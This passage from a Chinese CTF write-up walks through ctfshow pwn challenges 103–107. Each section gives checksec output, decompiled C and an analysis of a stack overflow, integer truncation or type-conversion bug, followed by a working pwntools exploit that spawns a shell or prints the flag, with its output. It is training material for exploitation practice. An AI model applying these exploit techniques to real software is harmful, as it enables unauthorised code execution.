class="string">b&#x27;4294967295&#x27;</span>) <span class="comment"># -1</span></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><h2 id="pwn-103"><a href="#pwn-103" class="headerlink" title="pwn 103"></a>pwn 103</h2><h6 id="Hint：看着好像还是不难"><a href="#Hint：看着好像还是不难" class="headerlink" title="Hint：看着好像还是不难"></a>Hint：看着好像还是不难</h6><p>检查保护:</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>还是64位保护全开</p><p>IDA查看main函数，跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  logo();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Maybe these help you:&quot;</span>);</span><br><span class="line">  useful();</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">unsigned</span> __int64 <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> n; <span class="comment">// [rsp+4h] [rbp-6Ch] BYREF</span></span><br><span class="line">  <span class="type">void</span> *src; <span class="comment">// [rsp+8h] [rbp-68h]</span></span><br><span class="line">  _BYTE dest[<span class="number">88</span>]; <span class="comment">// [rsp+10h] [rbp-60h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v4; <span class="comment">// [rsp+68h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v4 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  n = <span class="number">0</span>;</span><br><span class="line">  src = <span class="number">0</span>;</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Enter the length of data (up to 80): &quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, &amp;n);</span><br><span class="line">  <span class="keyword">if</span> ( n &lt;= <span class="number">80</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Enter the data: &quot;</span>);</span><br><span class="line">    __isoc99_scanf(<span class="string">&quot; %[^\n]&quot;</span>, dest);</span><br><span class="line">    <span class="built_in">memcpy</span>(dest, src, n); </span><br><span class="line">    <span class="keyword">if</span> ( (<span class="type">unsigned</span> __int64)dest &gt; <span class="number">0x1BF52</span> )</span><br><span class="line">      gift();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Invalid input! No cookie for you!&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28u</span>) ^ v4;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">gift</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;This is the third question of this type&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Here is you want:&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;cat /ctfshow_flag&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>逻辑还是很简单，满足其条件进入gift函数即可</p><p><strong>关键逻辑分析:</strong></p><p>(1)<code>memcpy(dest, src, n)</code>的陷阱:</p><p><code>src</code>被初始化为<code>NULL</code>（空指针），因此<code>memcpy</code>实际是从<strong>NULL 指针地址</strong>复制<code>n</code>字节到<code>dest</code>。这是一个危险操作：</p><ul><li>当<code>n &gt; 0</code>时：从 NULL 指针（内存地址 0 附近）读取数据会触发<strong>段错误（Segment Fault）</strong>，程序直接崩溃，无法执行到后续的判断逻辑。</li><li>当<code>n = 0</code>时：<code>memcpy</code>不执行任何操作（复制 0 字节），<code>dest</code>中保留用户输入的数据，程序可正常执行到判断逻辑。</li></ul><p>(2)触发<code>gift()</code>的条件：<code>(unsigned __int64)dest &gt; 0x1BF52</code></p><p>这里的关键是理解<code>dest</code>的含义：<br><code>dest</code>是数组名，在表达式中会被转换为<strong>指向数组首元素的指针</strong>（即<code>dest</code>的内存地址）。因此条件实际是判断：<code>dest</code>数组的首地址是否大于<code>0x1BF52</code>（十进制 126802）。</p><p>但在现代系统中，栈内存地址通常远大于<code>0x1BF52</code>（例如 x86_64 系统栈地址常在<code>0x7fffffffxxxx</code>范围），因此<strong>只要程序不崩溃，该条件默认成立</strong>。</p><p>因此：</p><ol><li>输入数据长度<code>n = 0</code></li><li>输入任意数据（长度无要求，因为<code>n=0</code>时<code>dest</code>保留输入内容，不影响地址判断）。</li></ol><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">io.sendline(<span class="string">b&#x27;0&#x27;</span>)</span><br><span class="line">io.sendline(<span class="string">b&#x27;a&#x27;</span>)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 90</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">Enter the length of data (up to 80): Enter the data: This is the third question of this <span class="built_in">type</span></span><br><span class="line">Here is you want:</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br></pre></td></tr></table></figure><h2 id="pwn-104"><a href="#pwn-104" class="headerlink" title="pwn 104"></a>pwn 104</h2><h6 id="Hint-有什么是可控的？"><a href="#Hint-有什么是可控的？" class="headerlink" title="Hint:有什么是可控的？"></a>Hint:有什么是可控的？</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>64位程序关闭Canary与PIE，部分开启RELRO</p><p>IDA查看main函数，跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  logo();</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">ssize_t</span> <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">10</span>]; <span class="comment">// [rsp+2h] [rbp-Eh] BYREF</span></span><br><span class="line">  <span class="type">size_t</span> nbytes; <span class="comment">// [rsp+Ch] [rbp-4h] BYREF</span></span><br><span class="line"></span><br><span class="line">  LODWORD(nbytes) = <span class="number">0</span>;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;How long are you?&quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, &amp;nbytes);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Who are you?&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, (<span class="type">unsigned</span> <span class="type">int</span>)nbytes);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ul><li><code>buf</code>的大小固定为 10 字节，但<code>nbytes</code>由用户控制，且没有任何限制</li><li>当用户输入的<code>nbytes &gt; 10</code>时，<code>read</code>函数会向<code>buf</code>写入超过其容量的数据，导致<strong>栈缓冲区溢出</strong>。</li></ul><p>看到程序中还有后门函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">that</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>简单来说我们只需要先利用&amp;nbytes控制溢出长度，然后再使用buf实现溢出控制程序到后门函数即可。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ROPgadget --binary ./pwn | grep <span class="string">&quot;ret&quot;</span></span><br><span class="line">0x000000000040055e : ret</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">that = <span class="number">0x40078d</span></span><br><span class="line">ret = <span class="number">0x40055e</span></span><br><span class="line">io.sendlineafter(<span class="string">b&#x27;How long are you?&#x27;</span>,<span class="string">b&#x27;255&#x27;</span>)</span><br><span class="line">payload=<span class="string">b&#x27;a&#x27;</span>*(<span class="number">0xe</span>+<span class="number">8</span>)+p64(ret)+p64(that)</span><br><span class="line">io.sendlineafter(<span class="string">b&#x27;Who are you?&#x27;</span>,payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 168</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line"></span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn-105"><a href="#pwn-105" class="headerlink" title="pwn 105"></a>pwn 105</h2><h6 id="Hint：看着好像没啥问题"><a href="#Hint：看着好像没啥问题" class="headerlink" title="Hint：看着好像没啥问题"></a>Hint：看着好像没啥问题</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>32位关闭Canary 与PIE</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> buf[<span class="number">1024</span>]; <span class="comment">// [esp+0h] [ebp-408h] BYREF</span></span><br><span class="line">  <span class="type">int</span> *p_argc; <span class="comment">// [esp+400h] [ebp-8h]</span></span><br><span class="line"></span><br><span class="line">  p_argc = &amp;argc;</span><br><span class="line">  init();</span><br><span class="line">  logo();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;[+] Check your permissions:&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">0x400u</span>);</span><br><span class="line">  ctfshow(buf);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;wtf&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>看这没啥漏洞，读入0x400，buf大小明显是大于0x400的，跟进ctfshow:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">char</span> *__cdecl <span class="title function_">ctfshow</span><span class="params">(<span class="type">char</span> *s)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> dest[<span class="number">8</span>]; <span class="comment">// [esp+7h] [ebp-11h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int8 n3; <span class="comment">// [esp+Fh] [ebp-9h]</span></span><br><span class="line"></span><br><span class="line">  n3 = <span class="built_in">strlen</span>(s);</span><br><span class="line">  <span class="keyword">if</span> ( n3 &lt;= <span class="number">3u</span> || n3 &gt; <span class="number">8u</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Authentication failed!&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Authentication successful, Hello %s&quot;</span>, s);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">strcpy</span>(dest, s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以读入0x400进入buf，要满足条件3&lt;n3&lt;&#x3D;8才能绕过判断执行strcpy，可以发现dest的栈只有0x11，所以这里存在栈溢出，可以发现n3是无符号整形的数据，<code>__int8意味着只能存8位的数字转换成十进制就是0~255,这256个字节超出部分就截断了</code>，但是read却可以读0x400进去所以可以利用整形溢出来bypass这个if条件</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">unsigned __int8 的本质:</span><br><span class="line">unsigned __int8 是 8 位无符号整数，它的取值范围是 0~255（因为 2⁸-1=255）。</span><br><span class="line">当给它赋值超过 255 的数时，会发生 截断 —— 只保留二进制的最后 8 位（低 8 位），相当于 值 % 256。</span><br><span class="line"></span><br><span class="line">例如：</span><br><span class="line">256 的二进制是 100000000（9 位），截断后保留低 8 位 00000000 → 对应十进制 0</span><br><span class="line">257 的二进制是 100000001，截断后保留低 8 位 00000001 → 对应十进制 1</span><br><span class="line">258 → 低 8 位 00000010 → 十进制 2</span><br><span class="line">...</span><br><span class="line">256 + n → 低 8 位是 n 的二进制 → 对应十进制 n（当 n &lt; 256 时）</span><br></pre></td></tr></table></figure><p>这里只需要满足它的条件（长度260[0x104]）即可进行溢出了</p><p>dest 的大小是 0x11，加上 ebp 的 0x4，所以需要在前面填充 0x15h</p><p>继续查看发现程序中还是存在后门函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">success</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>那么这里就是一个短整数溢出加上一个栈溢出的简单利用了</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level =<span class="string">&quot;debug&quot;</span></span><br><span class="line">io = process(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">shell = elf.sym[<span class="string">&#x27;success&#x27;</span>]</span><br><span class="line">payload = <span class="string">b&#x27;a&#x27;</span>*(<span class="number">0x11</span>+<span class="number">4</span>) + p32(shell)</span><br><span class="line">payload = payload.ljust(<span class="number">0x104</span>,<span class="string">b&#x27;a&#x27;</span>)</span><br><span class="line">payload += <span class="string">b&#x27;\x00&#x27;</span>  <span class="comment">#strlen(s)会继续读取buf之外的内存（直到遇到随机的\0）</span></span><br><span class="line">io.sendafter(<span class="string">b&#x27;permissions:&#x27;</span>,payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 226</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line"></span><br><span class="line">Authentication successful, Hello aaaaaaaaaaaaaaaaaaaaa\x0e\x87\x04\x08aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<span class="variable">$ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn-106"><a href="#pwn-106" class="headerlink" title="pwn 106"></a>pwn 106</h2><h6 id="Hint：还是非常简单"><a href="#Hint：还是非常简单" class="headerlink" title="Hint：还是非常简单"></a>Hint：还是非常简单</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>32位关闭Canary与PIE</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v4; <span class="comment">// [esp-14h] [ebp-20h]</span></span><br><span class="line">  <span class="type">int</span> v5; <span class="comment">// [esp-10h] [ebp-1Ch]</span></span><br><span class="line">  <span class="type">int</span> p_n2; <span class="comment">// [esp+0h] [ebp-Ch] BYREF</span></span><br><span class="line">  <span class="type">int</span> *p_argc; <span class="comment">// [esp+4h] [ebp-8h]</span></span><br><span class="line"></span><br><span class="line">  p_argc = &amp;argc;</span><br><span class="line">  init();</span><br><span class="line">  logo();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;1.login&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;2.quit&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Your choice:&quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, &amp;p_n2, v4, v5);</span><br><span class="line">  <span class="keyword">if</span> ( p_n2 == <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    login(p_argc);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( p_n2 == <span class="number">2</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;Bye~&quot;</span>);</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Invalid Choice!&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>给出一个小菜单，登录或者退出，看逻辑我们需要先登录，也就是输入1，进入if语句，跟进login函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">login</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE s[<span class="number">40</span>]; <span class="comment">// [esp+8h] [ebp-230h] BYREF</span></span><br><span class="line">  <span class="type">char</span> buf[<span class="number">516</span>]; <span class="comment">// [esp+30h] [ebp-208h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">memset</span>(s, <span class="number">0</span>, <span class="keyword">sizeof</span>(s));</span><br><span class="line">  <span class="built_in">memset</span>(buf, <span class="number">0</span>, <span class="number">0x200u</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Please input your username:&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, s, <span class="number">0x19u</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Hello %s\n&quot;</span>, s);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Please input your passwd:&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">0x199u</span>);</span><br><span class="line">  <span class="keyword">return</span> check_passwd(buf);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后让输入username 跟 passwd，这里看着也啥问题，跟进check_passwd():</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">char</span> *__cdecl <span class="title function_">check_passwd</span><span class="params">(<span class="type">char</span> *s)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> dest[<span class="number">11</span>]; <span class="comment">// [esp+4h] [ebp-14h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int8 n3; <span class="comment">// [esp+Fh] [ebp-9h]</span></span><br><span class="line"></span><br><span class="line">  n3 = <span class="built_in">strlen</span>(s);</span><br><span class="line">  <span class="keyword">if</span> ( n3 &gt; <span class="number">3u</span> &amp;&amp; n3 &lt;= <span class="number">8u</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Success&quot;</span>);</span><br><span class="line">    fflush(<span class="built_in">stdout</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">strcpy</span>(dest, s);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Invalid Password&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> (<span class="type">char</span> *)fflush(<span class="built_in">stdout</span>);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟上一题一样的，逻辑稍微变了一点，但是整体来说换汤不换药。</p><p>查看存在后门函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">fffflag</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;cat /ctfshow_flag&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;i386&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">cat_flag = elf.sym[<span class="string">&#x27;fffflag&#x27;</span>]</span><br><span class="line">io.sendlineafter(<span class="string">b&#x27;Your choice:&#x27;</span>,<span class="string">b&#x27;1&#x27;</span>)</span><br><span class="line">io.sendlineafter(<span class="string">b&#x27;username:&#x27;</span>,<span class="string">b&#x27;rhea&#x27;</span>)</span><br><span class="line">payload = cyclic(<span class="number">0x14</span>+<span class="number">4</span>)+p32(cat_flag)</span><br><span class="line">payload = payload.ljust(<span class="number">0x104</span>,<span class="string">b&#x27;a&#x27;</span>)</span><br><span class="line">payload += <span class="string">b&#x27;\x00&#x27;</span></span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 286</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line"></span><br><span class="line">Hello rhea</span><br><span class="line"></span><br><span class="line">Please input your passwd:</span><br><span class="line">Success</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br><span class="line">[*] Got EOF <span class="keyword">while</span> reading <span class="keyword">in</span> interactive</span><br></pre></td></tr></table></figure><h2 id="pwn-107"><a href="#pwn-107" class="headerlink" title="pwn 107"></a>pwn 107</h2><h6 id="Hint-类型转换"><a href="#Hint-类型转换" class="headerlink" title="Hint:类型转换"></a>Hint:类型转换</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>32位关闭Canary跟PIE</p><p>IDA查看main函数，直接跟进show函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="keyword">return</span> show();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">show</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> nptr[<span class="number">32</span>]; <span class="comment">// [esp+1Ch] [ebp-2Ch] BYREF</span></span><br><span class="line">  <span class="type">int</span> n4; <span class="comment">// [esp+3Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;How many bytes do you want me to read? &quot;</span>);</span><br><span class="line">  getch(nptr, <span class="number">4</span>);</span><br><span class="line">  n4 = atoi(nptr); <span class="comment">//将字符串形式的数字转换为整数（int 类型）</span></span><br><span class="line">  <span class="keyword">if</span> ( n4 &gt; <span class="number">32</span> )</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;No! That size (%d) is too large!\n&quot;</span>, n4);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Ok, sounds good. Give me %u bytes of data!\n&quot;</span>, n4);</span><br><span class="line">  getch(nptr, n4);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;You said: %s\n&quot;</span>, nptr);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>继续跟进getch:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">char</span> *__cdecl <span class="title function_">getch</span><span class="params">(<span class="type">char</span> *p_nptr, <span class="type">unsigned</span> <span class="type">int</span> n4)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> n4_2; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">char</span> *result; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">char</span> <span class="type">char</span>; <span class="comment">// [esp+Bh] [ebp-Dh]</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> n4_1; <span class="comment">// [esp+Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> ( n4_1 = <span class="number">0</span>; ; ++n4_1 )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="type">char</span> = getchar();</span><br><span class="line">    <span class="keyword">if</span> ( !<span class="type">char</span> || <span class="type">char</span> == <span class="number">10</span> || n4_1 &gt;= n4 )</span><br><span class="line">      <span class="keyword">break</span>; <span class="comment">// 1. 读取到空字符（&#x27;\0&#x27;）；2. 读取到换行符（&#x27;\n&#x27;，ASCII码10）；3. 已读取的字符数达到最大限制n4</span></span><br><span class="line">      </span><br><span class="line">    <span class="comment">// 将读取到的字符存入缓冲区：n4_2是n4_1的临时副本，等价于 p_nptr[n4_1] = char</span></span><br><span class="line">    n4_2 = n4_1;</span><br><span class="line">    p_nptr[n4_2] = <span class="type">char</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  result = &amp;p_nptr[n4_1];</span><br><span class="line">  